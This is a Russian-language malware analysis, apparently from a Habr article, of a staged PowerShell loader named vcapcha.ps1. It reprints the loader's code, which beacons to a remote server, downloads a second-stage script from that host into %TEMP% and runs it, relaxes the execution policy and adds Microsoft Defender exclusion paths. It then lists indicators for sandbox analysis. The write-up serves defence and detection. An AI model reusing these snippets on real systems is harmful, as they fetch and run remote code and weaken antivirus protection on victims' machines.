Разбор PowerShell-цепочки: как vcapcha.ps1 сообщает о запуске, загружает следующий этап и подготавливает систему

от автора

Введение

При анализе очередной цепочки PowerShell мне попался файл vcapcha.ps1. Само имя ничего особо интересного не говорит, поэтому сначала я посмотрел, что происходит непосредственно при запуске. Внутри оказался не какой-то сложный загрузчик с обфускацией, а достаточно прямолинейная цепочка: скрипт сообщает удалённому серверу о своём запуске, минимизирует окно PowerShell, скачивает следующий .ps1, сохраняет его во временный каталог и запускает. Дальше цепочка становится интереснее. Загруженный этап проверяет настройки Microsoft Defender и добавляет собственные каталоги в ExclusionPath. В результате получается вполне конкретная последовательность: сначала установить связь с сервером, затем получить следующий код и подготовить для него место, которое не будет проверяться Defender.

Первый этап — сообщение о запуске

В начале vcapcha.ps1 находится отдельный блок:

[Net.ServicePointManager]::SecurityProtocol =    [Net.SecurityProtocolType]::Tls12$deviceId = [Convert]::ToBase64String(    [System.Text.Encoding]::UTF8.GetBytes(        $env:COMPUTERNAME + (Get-Date).Ticks    )).Substring(0, 16)$body = @{    event = "script_execution"    deviceId = $deviceId    timestamp = (Get-Date -Format "o")} | ConvertTo-JsonInvoke-WebRequest `    -Uri "https://richardkemick.com/reportv.php" `    -Method POST `    -ContentType "application/json" `    -Body $body

Перед выполнением основной логики скрипт формирует JSON и отправляет его на:

https://richardkemick.com/reportv.php

Структура сообщения простая:

{    "event": "script_execution",    "deviceId": "...",    "timestamp": "..."}

deviceId здесь не является каким-то постоянным идентификатором машины. Скрипт берёт имя компьютера, добавляет текущее значение Ticks, кодирует полученную строку в Base64 и оставляет первые 16 символов. То есть сервер получает как минимум информацию о том, что скрипт был запущен, идентификатор, сформированный из имени компьютера и времени запуска, а также временную метку. Сам запрос выполняется через Invoke-WebRequest с POST и Content-Type: application/json.

Интересно и то, что ошибка отправки не останавливает дальнейшее выполнение. Весь блок находится внутри try/catch, а в catch просто выводится сообщение:

Write-Host "Debug: Failed to report script_execution ..."

Получается, сервер здесь не является обязательным условием продолжения работы загрузчика.

Скрытие окна PowerShell

Следующим действием скрипт получает дескриптор собственного окна:

$consolePtr =    [System.Diagnostics.Process]::GetCurrentProcess().MainWindowHandle

После этого динамически объявляется небольшой класс с вызовом WinAPI:

[DllImport("user32.dll")]public static extern bool ShowWindow(    IntPtr hWnd,    int nCmdShow);

И окно минимизируется:

[WinAPI]::ShowWindow($consolePtr, 2)

Значение 2 соответствует состоянию SW_SHOWMINIMIZED. Здесь нет сложного механизма сокрытия процесса. PowerShell остаётся обычным powershell.exe, просто его консольное окно переводится в минимизированное состояние. Для анализа это хороший признак: внутри скрипта присутствует попытка сделать выполнение менее заметным для пользователя.

Получение следующего этапа

Дальше находится уже непосредственно загрузчик:

$url = "https://richardkemick.com/verifya.ps1"$tempScriptPath = "$env:TEMP\verify_script.ps1"$response = Invoke-WebRequest `    -Uri $url `    -UseBasicParsing `    -ErrorAction Stop

Следующий PowerShell-код получается с:

https://richardkemick.com/verifya.ps1

После загрузки автор сохраняет его в:

%TEMP%\verify_script.ps1

Далее содержимое записывается на диск:

Set-Content `    -Path $tempScriptPath `    -Value $scriptContent `    -Encoding UTF8

То есть на этом этапе цепочка выглядит так:

vcapcha.ps1     |     | HTTPS GET     vverifya.ps1     |     | save     v%TEMP%\verify_script.ps1

Это уже классический staged-подход: первый скрипт содержит минимальную логику и получает следующую часть с удалённого сервера. При этом в самом vcapcha.ps1 конечная полезная нагрузка отсутствует. Поэтому если смотреть только этот файл, нельзя говорить о том, что именно делает конечный компонент. Для этого нужно исследовать содержимое verifya.ps1.

Работа с Execution Policy

Перед запуском скачанного файла скрипт дополнительно проверяет текущую политику PowerShell:

$executionPolicy = Get-ExecutionPolicyif ($executionPolicy -eq "Restricted" -or    $executionPolicy -eq "AllSigned") {    Set-ExecutionPolicy `        -Scope CurrentUser `        -ExecutionPolicy RemoteSigned `        -Force}

Если политика установлена в Restricted или AllSigned, скрипт пытается изменить её для текущего пользователя на RemoteSigned. Здесь важно разделять две вещи!!!

В самой командной строке, которая запускает данный образец, может использоваться:

-ExecutionPolicy Bypass

Это позволяет запустить текущий PowerShell без применения обычной политики выполнения. А Set-ExecutionPolicy внутри скрипта уже изменяет сохранённую настройку для CurrentUser. То есть автор предусмотрел оба варианта: текущий процесс запускается с обходом политики, а затем дополнительно меняется пользовательская настройка PowerShell.

Запуск скачанного файла

После сохранения выполняется проверка:

if (Test-Path $tempScriptPath) {    ...    & $tempScriptPath}

Оператор & запускает сохранённый PowerShell-файл. Перед этим автор даже выводит первые пять строк загруженного скрипта:

$scriptContentPreview =    Get-Content $tempScriptPath -First 5Write-Host $scriptContentPreview

Для вредоносного кода это выглядит немного необычно и больше похоже на отладочный вариант загрузчика. В коде вообще много сообщений Debug:.После завершения выполнения временный файл удаляется:

finally {    if (Test-Path $tempScriptPath) {        Remove-Item $tempScriptPath `            -Force `            -ErrorAction SilentlyContinue    }}

Таким образом, после выполнения на диске не должен оставаться сам verify_script.ps1, если удаление прошло успешно.

Что делает следующий этап

На этом месте я перешёл к следующей части цепочки. Полученный PowerShell запускается с параметрами:

-NoProfile -ExecutionPolicy Bypass -EncodedCommand ...

После декодирования EncodedCommand там находится уже другая логика.

Первое, что бросается в глаза:

$targets = @(    'C:\Users\admin\AppData\Local\Programs\FolderSvc',    'C:\Users\admin\AppData\Local\Programs\SearchNow')

Скрипт заранее определяет два каталога, которые должны использоваться дальше. Затем он получает текущие исключения Microsoft Defender:

$exclusions = Get-MpPreference |    Select-Object -ExpandProperty ExclusionPath

После этого пути нормализуются:

$normalizedExclusions = $exclusions |    ForEach-Object { $_.TrimEnd('\') }

И для каждого каталога из $targets выполняется проверка. Если путь уже находится среди исключений, скрипт ничего не делает. Если его нет, выполняется:

Add-MpPreference `    -ExclusionPath $target `    -ErrorAction Stop

То есть в системе создаются исключения Microsoft Defender для:

C:\Users\admin\AppData\Local\Programs\FolderSvcC:\Users\admin\AppData\Local\Programs\SearchNow

Это уже наиболее важная часть всей цепочки.

Зачем нужны исключения Defender

Само по себе создание каталога ещё ничего не говорит о вредоносности. Но добавление каталога в ExclusionPath имеет совершенно конкретный смысл: Microsoft Defender не должен выполнять обычную проверку содержимого этого пути. В рассматриваемой цепочке это происходит перед дальнейшим использованием каталогов. Получается следующая логика:

получить следующий этап        |        vопределить рабочие каталоги        |        vпроверить ExclusionPath Defender        |        +---- путь уже есть        |         |        |         v        |       ничего не делать        |        +---- пути нет                  |                  v        Add-MpPreference                  |                  v       каталог исключён из проверки

Для загрузчика это вполне практичный способ подготовить окружение перед размещением или запуском следующих компонентов.

Маркер выполнения

После обработки исключений скрипт создаёт файл:

C:\Users\admin\AppData\Local\Programs\FolderSvc\Cache\excl.txt

Для этого используется:

New-Item `    -Path $markerFile `    -ItemType File `    -Force `    -ErrorAction SilentlyContinue

Сам файл практически пустой. Его ценность заключается не в содержимом, а в факте существования. Таким образом, excl.txt может выступать простым маркером: текущий этап уже выполнялся и каталоги Defender были обработаны.

Интересный момент с логированием

В коде также присутствуют переменные:

$logFile =    'C:\\Users\\marks\\source\\repos\\ProtectEvaluate\\bin\\x64\\Release\\defender_check.log'

и функция:

function Log-Info {    param([string]$Message)    # Logging disabled - do nothing}

То есть автор оставил в скрипте инфраструктуру для логирования, но фактически она отключена.

Все вызовы:

Log-Info "..."

не приводят ни к какой записи на диск. Сам путь ProtectEvaluate выглядит как след отладочной или тестовой среды разработчика. При этом в исполняемой логике он не используется.

Что получилось в итоге

Если собрать все найденные действия вместе, получается довольно компактная цепочка:

vcapcha.ps1     |     +--> POST /reportv.php     |       |     |       +--> event: script_execution     |       +--> deviceId     |       +--> timestamp     |     +--> минимизация окна PowerShell     |     +--> GET /verifya.ps1     |     +--> %TEMP%\verify_script.ps1     |     +--> запуск verify_script.ps1     |     +--> удаление временного файла             |             v      следующий PowerShell             |             +--> Get-MpPreference             |             +--> проверка ExclusionPath             |             +--> Add-MpPreference             |       |             |       +--> FolderSvc             |       +--> SearchNow             |             +--> создание excl.txt

Меня здесь заинтересовал именно переход между этапами. vcapcha.ps1 сам по себе не содержит большой полезной нагрузки. Его задача — связать несколько действий: уведомить сервер о запуске, получить следующий код и передать ему управление. А уже следующий PowerShell занимается изменением настроек Microsoft Defender.

При этом есть ещё одна деталь: первый скрипт удаляет скачанный файл из %TEMP% после выполнения. Поэтому если анализировать систему только после завершения цепочки, часть артефактов первого этапа уже может отсутствовать.

Что искать при динамическом анализе

Если такую цепочку запускать в песочнице, я бы в первую очередь смотрел на несколько событий.

В сетевой активности — обращения к:

richardkemick.com/reportv.php/verifya.ps1

Отдельно стоит посмотреть тело POST-запроса на reportv.php, поскольку там передаются event, deviceId и timestamp. В процессах интересен powershell.exe с -EncodedCommand, а также дочерние процессы, которые появятся уже после выполнения verifya.ps1.

В файловой системе стоит отслеживать:

%TEMP%\verify_script.ps1C:\Users\admin\AppData\Local\Programs\FolderSvc\C:\Users\admin\AppData\Local\Programs\SearchNow\C:\Users\admin\AppData\Local\Programs\FolderSvc\Cache\excl.txt

И отдельно — изменение настроек Defender. Самым характерным событием здесь будет вызов Add-MpPreference с параметром -ExclusionPath.

Вывод

В этом образце интересна не какая-то сложная обфускация, а сама организация цепочки.

vcapcha.ps1 выступает загрузчиком первого уровня. После запуска он отправляет информацию о выполнении на удалённый сервер, минимизирует своё окно, получает verifya.ps1, сохраняет его во временный каталог и запускает.

Следующий этап уже меняет окружение Windows: проверяет существующие исключения Defender и при необходимости добавляет туда два каталога — FolderSvc и SearchNow. После этого создаётся excl.txt, который может использоваться как маркер успешного выполнения.

То есть на исследуемом участке цепочка выглядит достаточно прозрачно:

уведомление → загрузка следующего этапа → выполнение → изменение настроек Defender → подготовка каталогов для дальнейшей работы.

Именно поэтому при анализе подобных PowerShell-файлов я бы не ограничивался самим .ps1. В данном случае самая важная часть находится не внутри vcapcha.ps1, а за URL verifya.ps1 — именно там начинается следующая стадия цепочки.

ссылка на оригинал статьи https://habr.com/ru/articles/1074602/